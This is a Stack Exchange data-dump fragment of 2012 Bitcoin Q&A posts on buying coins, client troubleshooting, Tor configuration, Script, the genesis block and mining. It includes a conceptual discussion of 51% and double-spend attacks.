  <row Id="2968" PostTypeId="2" ParentId="2834" CreationDate="2012-02-19T17:49:40.483" Score="-1" Body="&lt;p&gt;The parallels between Bitcoin and the most successful communications technologies are too great to be ignored. It gives you the opportunity to invest in a technology without any threat of being shut down by an individual. In fact, it opens up whole new range of technologies besides simple monetary value. I've missed enough opportunities in the last several decades to let this one get by. It's like having a piece of a patent on email. Sure someone could create a Bitcoin 2, but that would require herding the people that make things like the internet possible. They are not sheeple. They may not allow such a thing to happen without their blessing. If anyone knows a better store of value than what Bitcoin has to offer, I sure would like to see the prospective.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-02-19T17:49:40.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2969" PostTypeId="2" ParentId="1042" CreationDate="2012-02-19T18:51:44.790" Score="0" Body="&lt;p&gt;The Bitcoin algorithm is a mathematical equation with the block as the answer to the problem. Showing proof-of-work is the foundation of all math and science. Ask any math teacher. Whether or not it is to assure against double spending is a matter of (popular) opinion and is not an absolute 100% certainty. If a particular algorithm is somehow patented, then it would require a hard fork of the Bitcoin block chain to slightly change the algorithm. There are as many opinions about how Bitcoin should work as there are programmers and no shortage of ways it can be forked if absolutely necessary.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-02-19T18:51:44.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2970" PostTypeId="2" ParentId="2967" CreationDate="2012-02-19T19:08:12.530" Score="9" Body="&lt;p&gt;That is essentially a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/658/659&quot;&gt;51% attack&lt;/a&gt;. It is a very real, but unlikely threat to the Bitcoin network. Historically as it turns out, it is more lucrative to simply add more processing power to the network than fight it.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-02-20T03:25:01.417" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2971" PostTypeId="1" AcceptedAnswerId="30707" CreationDate="2012-02-19T21:29:21.600" Score="3" ViewCount="240" Body="&lt;p&gt;With the current namecoin price this is more of a theoretical nature. It seems it is only possible after a name_firstupdate?&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2014-09-29T02:41:36.060" Title="Namecoin: Is it possible to move a name_new to another wallet? How?" Tags="|namecoin|domain-registering|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2972" PostTypeId="1" CreationDate="2012-02-20T06:58:29.420" Score="18" ViewCount="59721" Body="&lt;p&gt;Please! I just want to get them! How hard does it have to be? I've spent some 5 hours today trying to figure it out. I am in Australia.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastEditorUserId="659" LastEditDate="2012-02-20T08:30:24.410" LastActivityDate="2016-10-30T00:07:01.823" Title="How can I buy Bitcoins with Australian Dollars?" Tags="|exchanges|buy-bitcoins|" AnswerCount="11" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2976" PostTypeId="2" ParentId="2972" CreationDate="2012-02-20T08:16:37.327" Score="7" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/q/91/659&quot;&gt;This question&lt;/a&gt; answers the more general question &quot;How do you obtain Bitcoins?&quot;  Most commonly, people use a Bitcoin exchange to exchange local currency for Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://bitcoincharts.com/markets/list/&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of exchanges&lt;/a&gt; split by currency and whether they're currently active or not.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-10-01T03:40:52.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2977" PostTypeId="2" ParentId="474" CreationDate="2012-02-20T08:25:09.703" Score="0" Body="&lt;p&gt;I put this line in my &lt;code&gt;/home/chris/.bashrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias bc='/home/chris/src/bitcoin/src/bitcoind'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then (after starting a new terminal) I can type just &lt;code&gt;bc&lt;/code&gt; instead of &lt;code&gt;bitcoind&lt;/code&gt;.  There's no need to edit your PATH variable if you use an alias like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to change the &lt;code&gt;/home/chris/src/bitcoin/src/bitcoind&lt;/code&gt; bit to match the correct location of the &lt;code&gt;bitcoind&lt;/code&gt; executable on your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also OK to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alias bitcoind='/home/chris/src/bitcoin/src/bitcoind'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to type &lt;code&gt;bitcoind&lt;/code&gt; out in full to run it.  It may look like a recursive definition, but it's fine.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-20T08:25:09.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2978" PostTypeId="2" ParentId="2967" CreationDate="2012-02-20T08:26:27.753" Score="7" Body="&lt;p&gt;This isn't something that can happen unintentionally. If everyone plays by the rules, someone who has x% of the hashrate will find x% of the blocks, no matter how small or large x is (of course, for very small x the variance will be substantial, but without any change in the expectation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can attempt a double spend even without having &gt;50% hashrate, but the probability of success is small. The chance improves as your hashrate approaches 50%. What's special about &gt;50% is that you are guaranteed eventual success, no matter how many blocks the receiver waits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a little-known hashrate amplification attack (discussed &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2227.msg30064#msg30064&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=2227.msg30083#msg30083&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) that allows you to find more blocks than your hashrate normally allows, which doesn't require &gt;50%. It still requires a relatively large hashrate, about 41%. For example, with 46% of the hashrate you can get 51.29% of the total blocks. For &gt;50% hashrate you get 100% of the blocks.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-10-14T10:36:23.490" LastActivityDate="2013-10-14T10:36:23.490" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2979" PostTypeId="1" AcceptedAnswerId="58542" CreationDate="2012-02-20T08:33:16.743" Score="6" ViewCount="12690" Body="&lt;p&gt;I hadn't started/used my Bitcoin client for ages. Now, whenever I start the client, it is downloading &lt;code&gt;block 135407&lt;/code&gt; and does &lt;strong&gt;not&lt;/strong&gt; progress past it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="1087" LastEditorUserId="5406" LastEditDate="2021-03-26T20:22:47.973" LastActivityDate="2021-03-26T20:22:47.973" Title="What can I do when the blockchain synchronization is stuck at a specific block?" Tags="|bitcoin-core|blockchain|synchronization|canonical-question|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2980" PostTypeId="1" AcceptedAnswerId="3415" CreationDate="2012-02-20T08:43:53.987" Score="11" ViewCount="1101" Body="&lt;p&gt;Are there any services offering a &lt;a href=&quot;http://en.wikipedia.org/wiki/Dollar_cost_averaging&quot;&gt;dollar cost averaging&lt;/a&gt; approach to Bitcoin investing, i.e. something like an index tracker fund which purchases a set amount on a regular basis? If not, are there any reasons why such a service can't exist:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any theoretical disadvantages, i.e. anything specific about the asset which discourages this style of investing?&lt;/li&gt;&#xA;&lt;li&gt;Are there technical limitations, e.g. is there some restriction imposed by payment bodies which would prevent making a regular payment from Paypal to Dwolla, from Dwolla to an exchange, then buying coins, in an automated fashion?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1088" LastEditorUserId="5406" LastEditDate="2017-07-01T02:56:30.607" LastActivityDate="2021-02-25T09:39:38.763" Title="Dollar cost averaging approach to Bitcoin investing?" Tags="|exchanges|services|investing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2981" PostTypeId="2" ParentId="2980" CreationDate="2012-02-20T09:41:11.287" Score="6" Body="&lt;p&gt;This can be done today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dwolla lets you send money to Mt. Gox on a schedule:&#xA; - &lt;a href=&quot;http://help.dwolla.com/customer/portal/articles/164379-multi-payments-schedule&quot;&gt;http://help.dwolla.com/customer/portal/articles/164379-multi-payments-schedule&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then can leave an open market order to buy bitcoins, e.g., a bid for 10,000 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The moment new funds arrive from Dwolla, Mt. Gox will attempt to execute the remaining part of the order using all USD funds available in the account and those bitcoins will be purchased at the market price at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this assumed the account is not used for any other trading, as that open bid order would be triggered from any BTC sales that occur.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-02-20T09:41:11.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2982" PostTypeId="2" ParentId="2979" CreationDate="2012-02-20T10:17:23.377" Score="4" Body="&lt;p&gt;Okay, based on the comments I have tried a couple of things but in the end only the following worked:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Close Bitcoin client&lt;/li&gt;&#xA;&lt;li&gt;Backup files from %APPDATA%\Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Optional:Download Block chains from:     &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt; to prevent lengthy initial download &lt;strong&gt;(Warning: the link advises against doing this if you have transactions in your wallet).&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin client with the&#xA;&lt;code&gt;-rescan&lt;/code&gt; option from command line. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that the client started downloading blockchains again. This worked for me. Not sure if this will work for everyone.&lt;/p&gt;&#xA;" OwnerUserId="1087" LastEditorUserId="1087" LastEditDate="2012-02-20T23:01:23.440" LastActivityDate="2012-02-20T23:01:23.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2983" PostTypeId="1" CreationDate="2012-02-20T11:18:22.350" Score="13" ViewCount="1625" Body="&lt;p&gt;The original &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot;&gt;bitcoin paper&lt;/a&gt; suggests a method to discard old transactions. One should compute the Merkle Tree of the entire transaction history, and store only part of the tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I didn't notice this method implemented. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0f8cb5db73e8ab06b779b3cf82e26986ccc7c3f8/src/main.h#L919&quot;&gt;&lt;code&gt;BuildMerkleTree&lt;/code&gt;&lt;/a&gt; stores it in memory only, and seems to assume you're holding all transaction history, and the serialization method stores the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0f8cb5db73e8ab06b779b3cf82e26986ccc7c3f8/src/main.h#L1244&quot;&gt;actual transactions&lt;/a&gt; and does not store the Merkle Tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that implemented? Can you give me a reference to where is it in the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is it planned for a specific future release?&lt;/p&gt;&#xA;" OwnerUserId="1082" LastEditorUserId="5406" LastEditDate="2017-04-24T09:01:50.160" LastActivityDate="2017-04-25T14:12:33.900" Title="Is pruning transaction history implemented in Satoshi's bitcoin client?" Tags="|transactions|bitcoin-core|pruning|whitepaper|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2984" PostTypeId="2" ParentId="2979" CreationDate="2012-02-20T15:46:14.810" Score="-1" Body="&lt;p&gt;You should update your bitcoin software.&#xA;Old bitcoin versions are not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=55852.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=55852.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1089" LastActivityDate="2012-02-20T15:46:14.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2985" PostTypeId="1" AcceptedAnswerId="2988" CreationDate="2012-02-20T18:33:29.443" Score="6" ViewCount="1742" Body="&lt;p&gt;Is it possible to broadcast a transaction to the network without revealing my personal IP address? My first guess is to connect bitcoind over Tor with proxy=127.0.0.1:9050. Is it the good way to do it or do I have other options? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="659" LastEditDate="2012-02-20T19:45:19.127" LastActivityDate="2012-02-21T01:47:49.440" Title="How to broadcast a transaction anonymously" Tags="|transactions|bitcoind|privacy|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2986" PostTypeId="2" ParentId="706" CreationDate="2012-02-20T19:54:45.123" Score="0" Body="&lt;p&gt;This shell command will show each transaction ID once only, preceded by a count of the number of times it appears.  The IDs which occur most often will be at the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind listtransactions '*' 999999 | grep '&quot;txid&quot;' | uniq -c | sort -n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-20T19:54:45.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2987" PostTypeId="1" CreationDate="2012-02-20T23:06:22.720" Score="4" ViewCount="426" Body="&lt;p&gt;In &lt;a href=&quot;https://bitcoin.stackexchange.com/a/275/323&quot;&gt;answer to question&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/q/273/323&quot;&gt;&quot;How does merged mining work?&quot;&lt;/a&gt;, we can read that in order to merged mine, we need to create a Bitcoin transaction containing a Namecoin block hash and put it on the tip of the merkle tree. Where can one find some guidelines or specification on how to create such a transaction?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-03-31T10:17:43.943" Title="Where can I find some guidelines on how to program a merged mining transaction?" Tags="|transactions|protocol|namecoin|merged-mining|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2988" PostTypeId="2" ParentId="2985" CreationDate="2012-02-21T01:42:03.193" Score="4" Body="&lt;p&gt;Here is the solution I found to broadcast transaction on the bitcoin network without revealing your IP: connect bitcoind over the Tor network. Here is my guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit your torrc file to add .onion bitcoin nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mapaddress 192.0.2.2 ijzt2eeizty3p5xe.onion&#xA;mapaddress 192.0.2.3 j43z65b6r2usg3vk.onion&#xA;mapaddress 192.0.2.4 pvuif6nonbhj3o3r.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start Tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit .bitcoin/bitcoin.conf to connect bitcoind over the Tor network. Add: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxy=127.0.0.1:9050&#xA;connect=192.0.2.2&#xA;connect=192.0.2.3&#xA;connect=192.0.2.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When Tor is started (green onion) you can launch bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More infos &lt;br /&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Fallback_Nodes&lt;/a&gt; &lt;br /&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=50547.0;all&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=50547.0;all&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1092" LastEditorUserId="1092" LastEditDate="2012-02-21T01:47:49.440" LastActivityDate="2012-02-21T01:47:49.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2990" PostTypeId="1" CreationDate="2012-02-21T15:13:59.783" Score="10" ViewCount="872" Body="&lt;p&gt;As I see it, the script feature is one of the most complicated features in the entire protocol. It features &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat src/script.h|grep '^ *OP_'|wc -l&#xA;118&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instructions, and requires a stack to calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important limitation, it makes it complicated to answer a simple and common question - &quot;how much bitcoins does my key have&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a complicated script, a bug in the script engine is more likely, and thus, it is possible that the network will split (50% client accept this transaction, 50% do not, before you notice, you have two long block chains. One longer which is considered invalid by 50% of the clients, and one shorter, considered valid by both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the rational behind such a system? Why can't any transaction be simply &quot;move X BTC from key K to key I signed by private key K&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If indeed you want anything complex - do that in a different system, and not inside bitcoins block).&lt;/p&gt;&#xA;" OwnerUserId="1082" LastActivityDate="2012-02-21T19:29:15.550" Title="Why is Script needed?" Tags="|script|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2991" PostTypeId="2" ParentId="2990" CreationDate="2012-02-21T16:11:48.637" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why can't any transaction be simply &quot;move X BTC from key K to key I signed by private key K&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then you couldn't (easily) do the P2SH stuff being implemented right now without getting everyone to upgrade. You also couldn't do escrow, multisig, secure cross-chain trading, secure high-frequency trading, etc. These features are very valuable; Script-based escrow, for example, will be the first escrow system &lt;em&gt;ever&lt;/em&gt; which requires no trust in third-parties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script is, in my opinion, one of the greatest innovations in Bitcoin. I would prefer a much more powerful, Turing-complete version of Script in Bitcoin, actually.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-02-21T16:11:48.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2992" PostTypeId="2" ParentId="2990" CreationDate="2012-02-21T17:18:08.450" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The most important limitation, it makes it complicated to answer a simple and common question - &quot;how much bitcoins does my key have&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is that a limitation? It's actually a critical defense against one of the most realistic vulnerabilities in crypto-currencies as immortalized in &lt;a href=&quot;http://xkcd.com/538/&quot; rel=&quot;nofollow&quot;&gt;this XKCD cartoon&lt;/a&gt;. There is at least one very good reason Satoshi chose to remain anonymous.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-02-21T17:18:08.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2993" PostTypeId="2" ParentId="2990" CreationDate="2012-02-21T19:29:15.550" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;(If indeed you want anything complex - do that in a different system, and not inside bitcoins block).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'll first try to answer your second comment: in short, you cannot do it in a different system, with the same security properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several schemes exist for sharing keys according to complex schemes, for example &lt;a href=&quot;http://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing&quot; rel=&quot;nofollow&quot;&gt;Shamir's Secret Sharing&lt;/a&gt;. Unfortunately, that still requires the full secret key to be recombined on a single computer system at some point in time, which becomes a single point of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In contrast, Bitcoin's 2-of-2 transactions for example allow a transaction to be created that needs to be signed using two different keys, which can reside on two different systems, independent from eachother. That will hopefully allow applications that require a confirmation to be given on a mobile phone system, while that phone's private key never needs to leave the device.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What's the rational behind such a system? Why can't any transaction be simply &quot;move X BTC &gt; &gt; from key K to key I signed by private key K&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Restricting transactions to such a simple form would restrict Bitcoin to exactly the possibilities traditional currencies had (though decentralized). However, Satoshi saw the potential to allow it to do more, and introduced a script system. He wasn't around anymore to bring it to practice, but Mike Hearn wrote down some of the things Satoshi had in mind on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;Contracts page&lt;/a&gt; of the &lt;a href=&quot;https://en.bitcoin.it/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-02-21T19:29:15.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2994" PostTypeId="1" CreationDate="2012-02-21T23:19:05.900" Score="11" ViewCount="4420" Body="&lt;p&gt;How was the Bitcoin system initialized? Can one start the system with only a single node (computer)? Please explain it in plain English. Thanks, guys.&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2013-06-04T00:16:58.957" Title="How did the first 50 Bitcoins come into being?" Tags="|genesis-block|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2995" PostTypeId="2" ParentId="2994" CreationDate="2012-02-22T00:04:10.363" Score="10" Body="&lt;p&gt;The first block is known as the &quot;&lt;a href=&quot;http://blockchain.info/block-index/1/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot;&gt;genesis block&lt;/a&gt;&quot; or &quot;block 0&quot;.  It was mined using the same hashing algorithm as any other block, but at difficulty 1.  It contains only one transaction, the coinbase, which gives 50 BTC to address &lt;a href=&quot;http://blockchain.info/address/1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot;&gt;1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the block had been successfully mined its hash was hardcoded into the Bitcoin client's source code so that it and it alone would be accepted as the official genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;src/main.cpp contains this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint256 hashGenesisBlock(&quot;0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-22T00:04:10.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2996" PostTypeId="2" ParentId="2987" CreationDate="2012-02-22T06:40:25.533" Score="1" Body="&lt;p&gt;I'd suggest looking at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Merged_mining_specification&quot; rel=&quot;nofollow&quot;&gt;merged mining spec&lt;/a&gt; at the bitcoin wiki.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was writing my merged mining implementation I also looked at the source code of namecoind, bitcoind and &lt;a href=&quot;https://github.com/vinced/namecoin/blob/master/contrib/merged-mine-proxy&quot; rel=&quot;nofollow&quot;&gt;merged-mine-proxy&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know there is still no easier documentation on how to implement merged mining, so you will likely be looking through existing source code a lot to figure out the details. The merged mining spec was a big help for me though, even if it is a bit slim.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-02-22T06:40:25.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2997" PostTypeId="1" AcceptedAnswerId="3331" CreationDate="2012-02-22T17:57:17.623" Score="7" ViewCount="6400" Body="&lt;p&gt;Bitcoin is very disk-intensive and that slows it down. It seems to flush data to disk often thus preventing proper caching. With the datadir on a RAMdisk it is much faster.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to &lt;a href=&quot;http://doc.gnu-darwin.org/am_conf/cachesize.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;increase the db cache size&lt;/a&gt; or do something else to improve cache performance.&lt;/p&gt;&#xA;&lt;p&gt;Of course it would be nice to keep the wallet and important data saved but I would not mind the blockchain to be heavily cached.&lt;/p&gt;&#xA;&lt;p&gt;I'm asking mainly about Windows OS.&lt;/p&gt;&#xA;" OwnerUserId="257" LastEditorUserId="47827" LastEditDate="2021-05-24T11:02:23.927" LastActivityDate="2021-05-24T11:02:23.927" Title="Cache the Bitcoin Datadir to Improve Performance? Increase Bitcoin DB Cache Size?" Tags="|database|cache|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="2998" PostTypeId="2" ParentId="2877" CreationDate="2012-02-22T21:55:23.847" Score="5" Body="&lt;p&gt;Very good question. Today I created a page at my pool for this purpose: &lt;a href=&quot;http://bitminter.com/test&quot; rel=&quot;noreferrer&quot;&gt;http://bitminter.com/test&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't get paid without registering and entering a name and password. But it is useful for the purposes you stated in the question. Just click the &quot;test start&quot; button. You need Java installed, and of course GPU drivers with OpenCL support if that's what you want to test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Thanks for the idea for this.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-02-22T21:55:23.847" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2999" PostTypeId="2" ParentId="118" CreationDate="2012-02-22T22:04:02.480" Score="60" Body="&lt;p&gt;Go to &lt;a href=&quot;http://bitminter.com/test&quot;&gt;http://bitminter.com/test&lt;/a&gt; and click the &quot;test start&quot; button. If you have Java installed the miner should launch. Click &quot;engine start&quot; on your GPU(s) to start mining and the GUI will show how many bitcoins per day you will make (on average).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you are actively mining in a pool without getting paid. This test page launches a version of the miner which is only meant to be used for a short time for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update for 2015&lt;/strong&gt;: CPU and GPU mining are both long dead. When you buy ASIC mining hardware you will know its hashrate before you buy. Don't buy if you don't. Google &quot;bitcoin mining calculator&quot;, input your hashrate, and it will tell you how much you can earn right now, on average. Note that the difficulty will change in the future so your earnings will not stay the same. Also note that with most pools actual earnings vary with luck. Finally, avoid the typical newbie mistake of confusing TH/s and GH/s. 1 TH/s = 1000 GH/s.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2015-02-20T13:44:43.067" LastActivityDate="2015-02-20T13:44:43.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3000" PostTypeId="2" ParentId="317" CreationDate="2012-02-23T10:12:25.110" Score="2" Body="&lt;p&gt;I'm surprised you just didn't ask me directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds a lot like you're suffering from one of two CPU use bugs in the driver. Catalyst 11.7 through 11.11 (using any SDK) use 100% CPU time on one or more cores because of a faulty sleep, and SDK 2.2 and 2.3 (using any Catalyst) also have the same exact issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Windows has a third variation of the bug, if you set -f too low (ie, kernel work size or kernel execution time exceeds a predefined amount), it can also trigger Windows into stating the CPU is being used 100%, however this does not seem to be a driver bug and is a bug in Windows itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: My answer was strictly for AMD hardware. If you're on Nvidia, Nvidia is aware of the bug (it happens on any OpenCL app), but they have not yet fixed it.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2012-02-23T10:21:20.373" LastActivityDate="2012-02-23T10:21:20.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3001" PostTypeId="2" ParentId="253" CreationDate="2012-02-23T13:43:07.537" Score="1" Body="&lt;p&gt;It wouldn't be that hard to start a new p2pool if you were prepared to outlay some btc's.  ie donate to the pool so it pays out 105% of expected payout, doing that would attract some big miners.&lt;/p&gt;&#xA;" OwnerUserId="1099" LastActivityDate="2012-02-23T13:43:07.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
